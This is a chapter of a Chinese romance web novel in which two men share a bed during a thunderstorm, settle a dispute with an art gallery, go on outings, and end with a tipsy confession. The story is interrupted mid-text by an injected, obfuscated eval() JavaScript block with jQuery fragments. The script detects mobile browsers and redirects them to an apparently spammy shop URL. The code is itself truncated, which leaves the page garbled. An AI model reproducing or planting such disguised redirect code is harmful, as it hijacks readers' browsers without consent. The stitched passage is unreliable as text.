江淮寒合上了记录日志,戚危阑也抱着合上的日记本,垂眸深思着。
他在纠结犹豫,是否要主动坦白,如实交代。
脑子里的一个天使小人语重心长,把院长奶奶平常给小朋友上课的语气学了个十成十:【只有勇敢的坦诚相待,才能触及到真正的爱。】
另一个恶魔小人摇摇头,身上咕噜咕噜冒黑气:【不行啊,如果被江淮寒知道自己以前的暗恋和讨厌,一定会被他厌恶的!暗恋还可以解释,那不讲道理的讨厌该怎么说呢,一定会被认为是坏孩子的!】
两个小人在脑子里面吵得不可开交,戚危阑摇摇头,把两道声音都摇了出去。他抿着唇小心藏起日记本,决定贯彻院长奶奶的话,在当下每一秒听自己的声音。
轰隆——
外面的天气电闪雷鸣,瓢泼大雨,噼里啪啦的砸下来,这阵仗和他刚刚心里纠结斗争的情况不相上下。
但他现在的心情已经大雨转晴,一点都不打算亏待自己,卷起自己的枕头被子就哒哒哒的往主卧走。
听见脚步声,坐在床上的江淮寒扭头看过去,小祖宗站在自己的卧室门前,理直气壮的说:“你害怕得睡不着觉,现在求我陪你睡觉。”
男生小脸白皙如上好的玉石,没看出一丝害羞的粉色,那双噙着水的大眼睛扑闪扑闪的,意思很明确,你求我一下,我马上答应你。
江淮寒不由失笑,眼底的情绪深深。
只要求一下就可以陪着睡觉吗?简直是他二十八年人生里见过最划算的生意……
希望以后还有这种活动。
他当然顺着对方的意:“是啊,外面打雷声太吓人了,宝宝愿意来陪我么?求求你了。”
话音一落,一只昂首挺胸的骄傲小猫动作迅速的爬上了他的床,收拾好了自己的小铺盖,躺下后不忘说:“那好吧,我勉为其难的陪陪你,害怕的话你可以抱着我睡觉。”
很显然,这是小猫的下一个暗示。聪明的江教授很快领悟到,从善如流地伸手把人揽进自己的怀里,用下巴在毛茸茸的头顶上轻轻蹭了蹭:“天啊,宝宝简直太体贴了,谢谢你。”
戚危阑把脸埋进男人热乎乎的胸膛里偷笑,像一只成功偷腥的小猫,回复的语气上扬:“不用谢。”
到底是夏天,两个正年轻的大小伙子抱在一起睡觉,免不了觉得燥热,睡熟之后的戚危阑在江淮寒的怀里一个劲儿的扑腾,这里扭扭,那里蹭蹭,惹出了一身火还不自知。
江淮寒忍无可忍的睁开眼,他眉骨优越,眼窝很深,此刻眼神深邃一寸寸扫过怀里香甜的猎物,最后还是动作极其轻的把男生的手脚挪开,起身去其他卧室里冲了个冷水澡。
冲完澡后他身上体温变低,回到床上之后,又被人手脚并用的抱住,享受的在他裸|露的胸膛锁骨上轻蹭,发出小声喟叹,抱着抱着又变热了,重复之前操作……江淮寒瞥了一眼空调上适宜的温度,最终还是没有调低。
天干物燥,容易上火。
戚危阑盯着手机上星辰画廊发过来的消息,心里也有些火气,皱起了眉头。
这消息传达的要求,与他和原先接触的主理人陈微商量的要求并不一致,不仅画作主题风格改变,还提前了交稿日期,对面的消息字里行间都是不耐烦的催促,像是刚吃了一吨炸药,并且还有意无意的贬低他的画作。
【我们画廊能收下您的作品,已经十分包容了,请您也有点职业素养,配合我们的工作。死亡微笑jpg.】
他心里不适,微信聊天框在画廊工作微信和陈微私人微信里来回切换,最终删删减减的消息也还是输入框里的草稿。
有规律的敲门声响起,江淮寒缓缓走进为戚危阑特意打造的工作室,手上稳稳拿着托盘,放着解暑的绿豆水和精致果盘。
看到那一簇呆毛软趴趴塌了下去,显示出主人的精神萎靡,江淮寒把托盘递到他面前,声音温柔,带着抚平所有情绪的魔力:“这是发生了什么,宝宝愿意告诉我么?”
戚危阑张了张嘴却没说话,他不想被当做没有解决问题能力的笨蛋。
男人也不着急,蹲下身来,仰头直视着垂着头的戚危阑,拖长语调,鼓励的言语就像张开双臂,指导一个咿呀学步的小孩跌跌撞撞扑进自己的怀里。
“或许你有什么想和江淮寒说的吗?任何事情都可以。宝宝还记不记得,他是你的所有物,如果他什么用也没有,帮不上你的忙,会很难过的,担心有一天会不会被丢掉。”
戚危阑摇摇头,算作否定他说的话。
不会丢掉。
沉默了一会儿,他还是把事情和盘托出,江淮寒沉吟片刻,即使有那种能力,也没有强势的帮他解决一切。而是首先肯定他,安抚他的情绪,再试探的提出解决方案,引导戚危阑参与进来共同解决:“宝宝真的好厉害,愿意和我讲这些,你画的那些画也很棒,这件事情的责任不在你,对不对?这是画廊那边没有统一口径,要求多变,我们需要和他们交涉一下,你是不是准备和一开始的交接负责人沟通?”
听完他的话,戚危阑全身放松下来,卸了硬撑在外伪装的气力,朝江淮寒伸开了双臂,没说一句话就被男人抱在怀里,怀里心里都变得满满当当,找到最熟悉的姿势,戚危阑的下巴戳了戳江淮寒的颈窝,这是点头认同了他的话。
午后的阳光透过画室的落地窗撒进来,光柱中微尘在轻盈起舞,时间就像浅金色的阳光一样缓慢流淌,把两人之间亲昵温存的交谈话语都染上了暖暖的味道,一个人在不厌其烦的肯定另一个人的一切,另一个人也逐渐放下所有心防,絮絮叨叨着心里的想法。
最终与陈微沟通后,她郑重向戚危阑道歉,画廊工作微信被她的另一位合伙人使用,合伙人追名逐利,想废掉之前定下的主题,去选择充满噱头和争议的当下热点……他们之间对立许久。
她作出承诺,不会让戚危阑这段时间努力创作的心血白费。
江淮寒补充了其他要求,那个合伙人必须为不当的言辞道歉,思忖片刻后,向她提供了自己公司宣传部的联系方式:“或许您之后会想得到一次新的合作。”
陈微顺着联系方式查了查,被惊得合不拢嘴,稍微思考,就知道了这话的意思。
这是来自金大腿的撑腰呢。
她情绪亢奋,摩拳擦掌,准备大干一番。
这一遭后,戚危阑打心里觉得江淮寒特别适合去当幼师,这次工作上的小问题,哄着自己就轻轻松松解决了。
江淮寒知道他的想法之后浅浅微笑,眼里的爱意明明白白,已经不打算掩饰分毫,直白表达真心话,自己只是戚危阑一个人的幼师,也只会哄这么一个小孩。
他不仅是这么说的,也是这么做的。
休息日里,他带着人重新把游乐园玩了一遍,戚危阑从一开始说不出喜欢玩什么项目,重复说着“好幼稚”“都可以”,到后面兴奋的拉着他的手,把碰碰车的项目玩了一遍又一遍。
江淮寒故意逗他说:“要不要去玩其他项目,比如过山车?那个不幼稚。”不出意料,这话说完后他得到了戚危阑看似凶巴巴的瞪视。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027651|193989||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
电玩城里,戚危阑越是抓不上娃娃,越和娃娃机较劲,“倾家荡产”抓到一个小玩偶,眼睛就变得亮晶晶的,骄傲展示给江淮寒看。
江淮寒也不吝赞美之词,把人夸得尾巴高高翘起,那个小猫玩偶也被放在江淮寒的床头,看起来相当神气。
每个时刻,戚危阑的所有生动鲜活的瞬间都被江淮寒记录下来,手机相册里满满的都是同一个人。
当然,他也大方的把自己框进戚危阑的摄像头,配合的做鬼脸,颇为自觉的比心,在戚危阑拍完照之后他甚至会检查一下照片是否保持了帅气,认真研究相机的美颜功能,发现开了美颜更招笑后悻悻放弃,最后补充一句:“照片没有我本人好看。”看我就行了。
可这句话的暗含意思终究不会被一个木头小猫明白,戚危阑一个劲儿的点头,决定恶补一下自己的摄影技术,争取之后能够百分百拍出江淮寒的帅气,给他出片。
即使做了这些,江淮寒依旧觉得不够,遗憾自己不能穿越回小时候,把人拐回家养大。
在把戚危阑好好再养一遍的路上,他已经在满分100分的试卷上答出了200分,可谓百依百顺,可他仍常觉亏欠,认为分值没有上限。戚危阑在心里腹诽,如果在小时候他是自己的家长,一定是无脑宠的熊家长,会把自己养成无法无天的小霸王。
事实上,戚危阑已经被男人宠出了娇气小祖宗的雏形,不仅日常直呼大名,开口就是发号施令。
在家里到处“巡逻”时,他眼尖发现厨房吧台下的柜子里摆放着一瓶色泽好看的果酒,直接扯着江淮寒的衣角把人拉过来:“要喝。”
江淮寒微微颔首,也没管那是祁骁鬼哭狼嚎求了大半年的珍酒,动作利落的开瓶醒酒,拿出宽口杯倒了浅浅的一个杯底,这是草莓奶油甜酒,看起来像粉色的果汁饮料,其实度数不低。
细心嘱咐着人不要喝多了,他转身继续去做没做完的家务。
成功得手之后戚危阑细细品尝一番,这酒液看起来很漂亮,粉红色的光泽浪漫又剔透,滑过喉咙带着水果的清甜,初喝并没有很重的酒味。
戚危阑大失所望,他还想接着酒壮壮胆,把日记本等等一系列“罪行”坦白。结果就这小果汁,根本灌醉不了自己,他又给自己倒了满满一杯,咕噜咕噜喝水似的喝下肚,醇厚的酒香渐显。
于是等到江淮寒出来,就收获了一个抱着空酒瓶的小醉鬼,在沙发上摇头晃脑,眼神迷离。
一见到他,戚危阑就来精神了,白皙脸蛋上满是红晕,眼尾晕着胭脂红,咧开嘴傻笑着,挥手让他过来。
江淮寒无奈又宠溺叹了口气,挨着他坐在沙发上,脑袋里还琢磨着去煮点醒酒汤,哄着小祖宗喝下去……想着想着大腿上就多了重量,原来是多了个小醉鬼,跨坐在他的大腿上,把整个身子贴近,呼吸间的酒气都清晰可闻。
男人一动没动,有句老话说酒后吐真言,他也想看看戚危阑喝醉后到底想干什么。
小醉鬼没辜负他的期望,目标明确的取下他的金丝半框眼睛,用热乎乎又软绵绵的脸蛋轻蹭他的脸颊,像小动物之间表达友好的方式。
江淮寒觉得自己得了可爱侵略症,心痒痒的,想狠狠咬一口身前人的脸颊肉,并演算思考这个行为的可行性。
但下一秒,他的大脑一片空白,身体僵住,无法思考。
只因为身上的人直起身子,用着水浸过的清亮眼眸与他对视,伸出细白手指戳戳他的脸,认认真真打量片刻,粉唇微张,吐出两个字。
“喜欢。”